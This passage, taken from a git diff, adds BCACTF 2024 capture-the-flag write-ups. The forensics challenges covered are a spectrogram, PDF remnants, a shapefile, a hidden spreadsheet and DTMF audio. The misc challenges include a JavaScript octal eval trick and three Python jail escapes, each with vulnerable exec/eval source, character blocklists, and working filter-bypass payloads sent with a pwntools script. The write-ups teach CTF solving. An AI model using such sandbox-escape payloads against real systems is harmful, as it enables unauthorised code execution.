2](./assets/images/forensics/melody/spec_melody.png) +![Image 3](./assets/images/forensics/melody/peak.png) +[peak2.xcf](./assets/images/forensics/melody/peak2.xcf) + +Where I noticed something unusual that resembled Morse code, but it wasn't. On the left side, there were 16 increasing lines, which matched the base16 hint provided. The hex values for the start of the flag 'bcactf{' corresponded to the highs and lows of the lines on the right side. This clue confirmed it was part of the flag, and from there, we decoded all the highs and lows. + +`6263616374667B62656175746966756C5F6D656C6F64795F62656175746966756C5F6861726D6F6E797D` + +## Flag +`bcactf{beautiful_melody_beautiful_harmony}` + +# Forensics/23-719-writeup + +## Challenge Description + +We are given a pdf along with the following description: + +That's a nice unanimous supreme court decision you've made public, sure would be a shame if someone didn't properly clean up remnants of a prior version of the document before publishing it. + +## Solution + +The solution was pretty straight forward we just find for the initials of the flag i.e. `bacactf` and highlight some of the text + +![Image 1](./assets/images/forensics/23-719/23-719_1.png) + + So we select that text and paste it in a text editor and we reveal the flag : + +![Image 2](./assets/images/forensics/23-719/23-719_2.png) + +So our flag becomes -> + +`bcactf{rEAl_WOrLd_appLIc4t1ons_Of_cTf_ad04cc78601d5da8}` + +................................................................. + +# Forensics/sheep-writeup + +## Challenge Description + +We are given a .shp along with the following hint: + +Figure out what type of file it is and see if there are tools you can use or modify. + +## Solution + +Upon some research we find out that .shp are ESRI shapefiles used in GIS softwares like Google Earth Pro but such softwares require 3 of such files as mandatory which are a .shp, .shx and a .dbf file which work complementorily to produce the geographical data but some more reserach yielded this software that can standalone process a .shp file (https://softradar.com/shp-viewer/). So we just load our sheep.shp in the software and thats it we get the flag : + +![Image 1](./assets/images/forensics/sheep/sheep_1.png) + +So our flag becomes -> + +`bcactf{SHaPE_f1lEd_b54a11ac9c87c8}` + +................................................................... + +# Forensics/Manipulate Spreadsheet 2-writeup + +## Challenge Description + +We are given an excel file for this challenge: + +## Solution + +The first that we notice is this long string written in the A1 cell of the excel sheet. + +![Image 1](./assets/images/forensics/Manipulate_Spreadsheet_2/Manipulate_Spreadsheet_2_1.png) + +The hex decode of this string reveals the following hint: + + In digital fields where data lies, + Secret pages beneath clear skies. + Cells entwine, mysteries feel, + Layers of secrets they reveal. + +The layers part hint that there maybe a hidden sheet in this file and exactly that happens to be the case we unhide the sheet 2 of this excel file and there we find some bytes and index data along with another hint in the A1 cell of the sheet + +![Image 2](./assets/images/forensics/Manipulate_Spreadsheet_2/Manipulate_Spreadsheet_2_2.png) + +The hex decode of this hint reveals: + + Lurking shadows, secrets play, + Stealthy whispers on display. + BITS aligned, LEAST in SIGht, + Gleams of secrets, veiled in light. + +This reveals that we have to arrange the bytes in order of indices and then do LSB extract of the bytes so we do that and we get our flag as: + +`bcactf{600D_job_Using_900G13_SHe3t5}` + +........................................................... + +# Forensics/Touch Tone Telephone-writeup + +## Challenge Description + +We are given a .wav along with the following hints: + + -DTMF is a really cool technology + -There also used to be A, B, C, and D menu selection keys + -How many keys are there in total? Is it a computer science-y number? + -For key to number, Start at top left, reading order. (Sorry, 0 is not 0, my bad) + +## Solution + +Based on the hints the course of action gets pretty much cleared that we need to extract the dtmf tones of our wav file then perform a little substitution of keys before finally hex decoding the message. Now there are many online tools to detect the dtmf tones of a wav file but I used the CLI tool `multimon-ng` which gives us a result for the detected dtmf tones as + +```47656*6*6D3#315B656*6A6D606531B46D31B4676531434A424A54463147656*B16*686#653#19546768BA316A626*6*316062B831636531B3656A6DB364656431666DB331B2B5626*68B4B83162BABAB5B3626#6A6531B1B5B3B16DBA65BA3#1919466DB3316A6762B33131A13*316B65B431686#6465B731A1B7A6A23#19466DB3316A6762B33131A23*316B65B431686#6465B731A1B7ABA33#19466DB3316A6762B33131A33*316B65B431686#6465B731A1B7A66A3#19466DB3316A6762B33131AA3*316B65B431686#6465B731A1B7AAA73#19466DB3316A6762B33131A43*316B65B431686#6465B731A1B7A3633#19466DB3316A6762B33131A53*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B33131A63*316B65B431686#6465B731A1B7AA653#19466DB3316A6762B33131AB3*316B65B431686#6465B731A1B7A5A83#19466DB3316A6762B33131A73*316B65B431686#6465B731A1B7A66A3#19466DB3316A6762B33131A83*316B65B431686#6465B731A1B7AAA73#19466DB3316A6762B331A2A13*316B65B431686#6465B731A1B7A2A83#19466DB3316A6762B331A2A23*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B331A2A33*316B65B431686#6465B731A1B7A2643#19466DB3316A6762B331A2AA3*316B65B431686#6465B731A1B7ABA33#19466DB3316A6762B331A2A43*316B65B431686#6465B731A1B7A1623#19466DB3316A6762B331A2A53*316B65B431686#6465B731A1B7A4A53#19466DB3316A6762B331A2A63*316B65B431686#6465B731A1B7A5A83#19466DB3316A6762B331A2AB3*316B65B431686#6465B731A1B7A663#19466DB3316A6762B331A2A73*316B65B431686#6465B731A1B7A66A3#19466DB3316A6762B331A2A83*316B65B431686#6465B731A1B7A3653#19466DB3316A6762B331A3A13*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B331A3A23*316B65B431686#6465B731A1B7A66A3#19466DB3316A6762B331A3A33*316B65B431686#6465B731A1B7A3A63#19466DB3316A6762B331A3AA3*316B65B431686#6465B731A1B7A3633#19466DB3316A6762B331A3A43*316B65B431686#6465B731A1B7A1A33#19466DB3316A6762B331A3A53*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B331A3A63*316B65B431686#6465B731A1B7A1A23#19466DB3316A6762B331A3AB3*316B65B431686#6465B731A1B7A3A63#19466DB3316A6762B331A3A73*316B65B431686#6465B731A1B7ABA33#19466DB3316A6762B331A3A83*316B65B431686#6465B731A1B7A5AA3#19466DB3316A6762B331AAA13*316B65B431686#6465B731A1B7AAA83#19466DB3316A6762B331AAA23*316B65B431686#6465B731A1B7A1A43#191919516*6562BA6531676D6*6431BB67686*6531BB6531BA656#6431B86DB531B3626#646D60316B62B363626B6531B46762B431B86DB531BA676DB56*6431686#6465B731686#B46D31B46D316B65B431B4676531666*626B3#195B67656#31B86DB53BB3653166686#68BA6765643*3160626C6531BAB5B36531B46D31BBB362B131B4676531666*626B31686#31B4676531B1B36DB165B331666DB36062B43#19B7B16453655B45666#6DA43B4B653655547B7B5A7B443B36C6#B85567A2A3A7446D6*BA5B67A26DB9AB6A6#5544B86B48B76C4A48B4BBBAA1A5B64#A75A646C46B1545153B6564#556A5354B46D5AABB945556266AB4D4#48AA6#A155B456B5486*68A8436A5166B7454A586044485DA445AAB349425567584B56A8BBD4648``` + +But due to the speed of the wav file some of the dtmf tones get overlapped in this result and doing some manual patching of this result we get the final dtmf tones as : + +```47656*6*6D3#315B656*6A6D606531B46D31B4676531434A424A54463147656*B16*686#653#19546768BA316A626*6*316062B831636531B3656A6DB364656431666DB331B2B5626*68B4B83162BABAB5B3626#6A6531B1B5B3B16DBA65BA3#1919466DB3316A6762B33131A13*316B65B431686#6465B731A1B7A6A23#19466DB3316A6762B33131A23*316B65B431686#6465B731A1B7ABA33#19466DB3316A6762B33131A33*316B65B431686#6465B731A1B7A66A3#19466DB3316A6762B33131AA3*316B65B431686#6465B731A1B7AAA73#19466DB3316A6762B33131A43*316B65B431686#6465B731A1B7A3633#19466DB3316A6762B33131A53*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B33131A63*316B65B431686#6465B731A1B7AA653#19466DB3316A6762B33131AB3*316B65B431686#6465B731A1B7A5A83#19466DB3316A6762B33131A73*316B65B431686#6465B731A1B7A66A3#19466DB3316A6762B33131A83*316B65B431686#6465B731A1B7AAA73#19466DB3316A6762B331A2A13*316B65B431686#6465B731A1B7A2A83#19466DB3316A6762B331A2A23*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B331A2A33*316B65B431686#6465B731A1B7A2643#19466DB3316A6762B331A2AA3*316B65B431686#6465B731A1B7ABA33#19466DB3316A6762B331A2A43*316B65B431686#6465B731A1B7A1623#19466DB3316A6762B331A2A53*316B65B431686#6465B731A1B7A4A53#19466DB3316A6762B331A2A63*316B65B431686#6465B731A1B7A5A83#19466DB3316A6762B331A2AB3*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B331A2A73*316B65B431686#6465B731A1B7A66A3#19466DB3316A6762B331A2A83*316B65B431686#6465B731A1B7A3653#19466DB3316A6762B331A3A13*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B331A3A23*316B65B431686#6465B731A1B7A66A3#19466DB3316A6762B331A3A33*316B65B431686#6465B731A1B7A3A63#19466DB3316A6762B331A3AA3*316B65B431686#6465B731A1B7A3633#19466DB3316A6762B331A3A43*316B65B431686#6465B731A1B7A1A33#19466DB3316A6762B331A3A53*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B331A3A63*316B65B431686#6465B731A1B7A1A23#19466DB3316A6762B331A3AB3*316B65B431686#6465B731A1B7A3A63#19466DB3316A6762B331A3A73*316B65B431686#6465B731A1B7ABA33#19466DB3316A6762B331A3A83*316B65B431686#6465B731A1B7A5AA3#19466DB3316A6762B331AAA13*316B65B431686#6465B731A1B7AAA83#19466DB3316A6762B331AAA23*316B65B431686#6465B731A1B7A1A43#191919516*6562BA6531676D6*6431BB67686*6531BB6531BA656#6431B86DB531B3626#646D60316B62B363626B6531B46762B431B86DB531BA676DB56*6431686#6465B731686#B46D31B46D316B65B431B4676531666*626B3#195B67656#31B86DB53BB3653166686#68BA6765643*3160626C6531BAB5B36531B46D31BBB362B131B4676531666*626B31686#31B4676531B1B36DB165B331666DB36062B43#19B7B16453655B45666#6DA443B4B653655547B7B5A7B443B36C6#B85567A2A3A7446D6*BA5B67A26DB9AB6A6#5544B86B48B76C4A48B4BBBAA1A5B64#A75A646C46B1545153B6564#556A5354B46D5AABB945556266AB4D4#48AA6#A155B456B5486*68A8436A5166B7454A586044485DA445AAB349425567584B56A8BB4D4648``` + +Then we do the keys substituition as replacing `123A456B789C*0#D` by `0123456789ABCDEF` and print the hex decoded value using solve.py +[Script 1](./assets/scripts/Touch_Tone_Telephone/solve.py) + +Then we get the following message: + +![Image 1](./assets/images/forensics/Touch_Tone_Telephone/Touch_Tone_Telephone_1.png) + +Now comes the part to reverse this code so we write another code to solve this task as script.py +[Script 2](./assets/scripts/Touch_Tone_Telephone/script.py) which extract the characters of the flag based on the given indices of the garbage given in the end. + +And that reveals us our flag: + +`bcactf{l3m0n_d3m0n_134v3_my_m1nd_p13a5e}` diff --git a/content/ctf-writeups/bcactf_5.0/misc.md b/content/ctf-writeups/bcactf_5.0/misc.md new file mode 100644 index 0000000..4be7bac --- /dev/null +++ b/content/ctf-writeups/bcactf_5.0/misc.md @@ -0,0 +1,327 @@ +--- +layout: post +title: BCACTF 2024 | Misc-Writeups +date: 2024-06-12 +tags: ['BCACTF_5.0'] +math: True +--- + +# Misc/Miracle +## Challenge Description +You'll need a miracle to get this flag. The server requires you to solve an easy addition problem, but you only get the flag if the bits magically flip to form another answer. + +## Resoruces +[main.js](./assets/scripts/misc/main.js) +```js +const readline = require("readline"); +const fs = require("fs"); + +async function sleep(ms) { + return new Promise((resolve) => setTimeout(resolve, ms)); +} + +// thanks chatgpt +function printWithoutNewline(text) { + process.stdout.write(text); +} + +function prompt(question) { + const rl = readline.createInterface({ + input: process.stdin, + output: process.stdout, + }); + + return new Promise((resolve) => { + rl.question(question, (answer) => { + rl.close(); + resolve(answer); + }); + }); +} +//end thanks chatgpt + +const flag = fs.readFileSync("flag.txt", "utf8"); + +async function run() { + const name = await prompt("What is your name?\n") ?? "Harry"; + const ans = await prompt("What is 55+22?\n") ?? "0"; + if (eval("Number(ans)") === 77) { + console.log("Correct!"); + console.log("Waiting for bits to flip..."); + for (let i = 0; i < 10; i++) { + printWithoutNewline("..."); + await sleep(300); + } + console.log("\n"); + if (eval(ans) === 63) { + console.log(`You made those bits flip?? You're a wizard ${name}! `); + console.log(`Here's your flag: ${flag}`); + } else { + console.log("You didn't make the bits flip. Too bad "); + } + } else { + console.log("wow you suck at math."); + } + process.exit(1); +} + +run(); +``` +[eslint.config.mjs](./assets/scripts/misc/eslint.config.mjs) + +```mjs +import globals from "globals"; +import pluginJs from "@eslint/js"; + + +export default [ + {files: ["**/*.js"], languageOptions: {sourceType: "commonjs"}}, + {languageOptions: { globals: globals.browser }}, + pluginJs.configs.recommended, + { + rules: { + "no-unused-vars": "error", + "no-octal": "error", + "for-direction": "error", + "getter-return": "error", + "no-async-promise-executor": "error", + "no-compare-neg-zero": "error", + "no-cond-assign": "error", + "no-constant-condition": "error", + "no-control-regex": "error", + "no-dupe-args": "error", + "no-dupe-keys": "error", + "no-duplicate-case": "error", + "no-empty": "error", + "no-empty-character-class": "error", + "no-ex-assign": "error", + "no-extra-boolean-cast": "error", + "no-extra-semi": "error", + "no-invalid-regexp": "error", + } + } +]; +``` + +## Solution +```js +const ans = await prompt("What is 55+22?\n") ?? "0"; + if (eval("Number(ans)") === 77) { + console.log("Correct!"); + console.log("Waiting for bits to flip..."); + for (let i = 0; i < 10; i++) { + printWithoutNewline("..."); + await sleep(300); + } + console.log("\n"); + if (eval(ans) === 63) { + console.log(`You made those bits flip?? You're a wizard ${name}! `); + console.log(`Here's your flag: ${flag}`); + } else { + console.log("You didn't make the bits flip. Too bad "); + } + } else { + console.log("wow you suck at math."); + } +``` +This is the main part of the challenge. We need to give some input such that `(eval("Number(ans)") === 77)` and `(eval(ans) === 63)`. So this either exploits some vulnerability of `Number()` or `eval()`. + +After going through their docs, I found something intersting about `Number()` in this [section](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number#number_coercion). + +![alt text](./assets/images/misc-miracle/image.png) + +**And `73 in octal(base 8) is 63 in decimal(base 10)`.** + +So for an input of `077`, **`eval("Number(077)") will ignore the 0, and thus return 77`** whereas **`eval(077) will consider 0 and treat 77 as octal(base 8), thus returning 63 in decimal(base 10)`** + +```console +nc challs.bcactf.com 30105 +What is your name? + +What is 55+22? +077 +Correct! +Waiting for bits to flip... +.............................. + +You made those bits flip?? You're a wizard ! +Here's your flag: bcactf{j$_is_W3Ird_?rfuhie4923} +``` + + + +# Misc/Jailbreak 1 +## Challenge Description +I cannot get the python file to print the flag, are you able to? + +## Hint +How can you access variables in python? + +## Resoruces + +[deploy.py](./assets/scripts/misc/pyjail1/deploy.py) +```py +def sanitize(letter): + print("Checking for contraband...") + return any([i in letter.lower() for i in BANNED_CHARS]) + +BANNED_CHARS = "gdvxftundmnt'~`@#$%^&*-/.{}" +flag = open('flag.txt').read().strip() + +print("Welcome to the prison's mail center") +msg = input("Please enter your message: ") + +if sanitize(msg): + print("Contraband letters found!\nMessage Deleted!") + exit() + +exec(msg) +``` +## Solution +**`UNINTENDED`** + +Python actuall allows `italics` and since the script doesn't have any constrain on unicode, so `𝘱𝘳π˜ͺ𝘯𝘡(𝘧𝘭𝘒𝘨)` will do the job. + +```console +nc challs.bcactf.com 32087 +Welcome to the prison's mail center +Please enter your message: 𝘱𝘳π˜ͺ𝘯𝘡(𝘧𝘭𝘒𝘨) +Checking for contraband... +bcactf{PyTH0n_pR0_03ed78292b89c} + +``` + +# Misc/Jailbreak 2 +## Challenge Description +The prison has increased security measures since you last escaped it. Can you still manage to escape? + +## Hint +What in python is evaluated to a number? + +## Resoruces + +[main.py](./assets/scripts/misc/main.py) +```py +def sanitize(letter): + print("Checking for contraband...") + return any([i in letter.lower() for i in BANNED_CHARS]) + +def end(): + print("Contraband letters found!\nMessages Deleted!") + exit() + +BANNED_CHARS = "gdvxfiyundmnet/\\'~`@#$%^&.{}0123456789" +flag = open('flag.txt').read().strip() + +print("Welcome to the prison's mail center") + +msg = input("\nPlease enter your message: ") + +while msg != "": + if sanitize(msg): + end() + + try: + x = eval(msg) + if len(x) != len(flag): end() + print(x) + except Exception as e: + print(f'Error occured: {str(e)}; Message could not be sent.') + + msg = input("\nPlease enter your message: ") +``` +## Solution +**`UNINTENDED`** + +Again the same solution works as there is no constraint on unicode. `𝘧𝘭𝘒𝘨` + +```console +nc challs.bcactf.com 30335 +Welcome to the prison's mail center + +Please enter your message: 𝘧𝘭𝘒𝘨 +Checking for contraband... +bcactf{PyTH0n_M4st3R_Pr0veD} +``` + +# Misc/Jailbreak Revenge +## Challenge Description +Some of y'all cheesed the previous two jailbreaks, so it looks like they've put even more band-aids on the system... + +## Hint +What in python is evaluated to a number? + +## Resoruces + + +[main.py](./assets/scripts/misc/pyjail1/main.py) +```py +def sanitize(letter): + print("Checking for contraband...") + return any([(i in letter.lower()) for i in BANNED_CHARS]) or any([ord(l)>120 for l in letter]) + +def end(): + print("Contraband letters found!\nMessages Deleted!") + exit() + +BANNED_CHARS = "gdvxfiyundmpnetkb/\\'\"~`!@#$%^&*.{},:;=0123456789#-_|? \t\n\r\x0b\x0c" +flag = open('flag.txt').read().strip() + +print("Welcome to the prison's mail center") + +msg = input("\nPlease enter your message: ") + +while msg != "": + if sanitize(msg): + end() + + try: + x = eval(msg) + if len(x) != len(flag): end() + print(x) + except Exception as e: + print(f'Error.') + + msg = input("\nPlease enter your message: ") +``` +## Solution +This time the unicode is constrainted to 120, so our previous exploit won't work. + +**Allowed characters:** achjloqrsw()[]+<> + +`chr, hash, all, locals` can be made from these. `+` will allow concatination and `<>` allows boolean. + +`(hash(all)>hash(chr))` will return 1 + +`((hash(all)>hash(chr))+(hash(all)>hash(chr)))` will return 2 + +Similarly we can make any number by `concatination`. + +We can make flag like → `chr(102)+chr(108)+chr(99)+ch4(103)`. + +`locals()` returns the dictionary of the current local symbol table. Symbol table is created by a compiler that is used to store all information needed to execute a program. + +Thus, `locals()[flag]` will give us the flag. + +## Solution Script +Run this script 4-5 times to get the flag. + +```python +from pwn import * + +p = remote("challs.bcactf.com", 30223) +# p = process(["python3", "main.py"]) + +data = open("payload.txt").read() +p.sendline(data) + +p.interactive() +``` + +payload.txt +```txt +locals()[chr((hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr)))+chr((hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr)))+chr((hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr)))+chr((hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr))+(hash(all)>hash(chr)))] +``` + +## Flag +`bcactf{Wr1tING_pyJaiL5_iS_hArD_f56450aadefcc}` \ No newline at end of file diff --git a/content/ctf-writeups/bcactf_5.0/pwn.md b/content/ctf-writeups/bcactf_5.0/pwn.md new file mode 100644 index 0000000..e69de29 diff --git a/content/ctf-writeups/bcactf_5.0/rev.md b/content/ctf-writeups/bcactf_5.0/rev.md new file mode 100644 index 0000000..e69de29 diff --git a/content/ctf-writeups/bcactf_5.0/web.md b/content/ctf-writeups/bcactf_5.0/web.md new file mode 100644 index 0000000..54af7d9 --- /dev/null +++ 